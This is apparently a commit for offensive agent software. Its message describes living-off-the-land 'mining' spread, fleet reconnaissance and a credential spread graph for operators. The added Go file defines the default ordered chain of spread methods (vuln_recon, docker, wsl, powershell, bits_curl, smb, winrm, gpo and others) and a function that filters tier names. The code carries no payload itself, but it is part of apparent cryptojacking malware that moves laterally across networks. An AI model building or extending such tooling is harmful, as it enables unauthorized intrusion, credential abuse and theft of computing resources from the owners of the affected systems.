Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/lotl_tiers.go

@@ -0,0 +1,43 @@
+package deploy
+
+import "strings"
+
+// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
+// the LOTL Onion forge preset and server config unless overridden at runtime.
+var DefaultLotlOnionTiers = []string{
+	"vuln_recon",
+	"docker",
+	"wsl",
+	"powershell",
+	"dotnet",
+	"bits_curl",
+	"smb",
+	"winrm",
+	"linux",
+	"gpo",
+}
+
+// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
+func NormalizeLotlTiers(raw []string) []string {
+	allowed := map[string]struct{}{
+		"vuln_recon": {},
+		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
+		"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+	}
+	out := make([]string, 0, len(raw))
+	for _, t := range raw {
+		t = strings.ToLower(strings.TrimSpace(t))
+		if t == "bits/curl" {
+			t = "bits_curl"
+		}
+		if _, ok := allowed[t]; ok {
+			out = append(out, t)
+		}
+	}
+	if len(out) == 0 {
+		dup := make([]string, len(DefaultLotlOnionTiers))
+		copy(dup, DefaultLotlOnionTiers)
+		return dup
+	}
+	return out
+}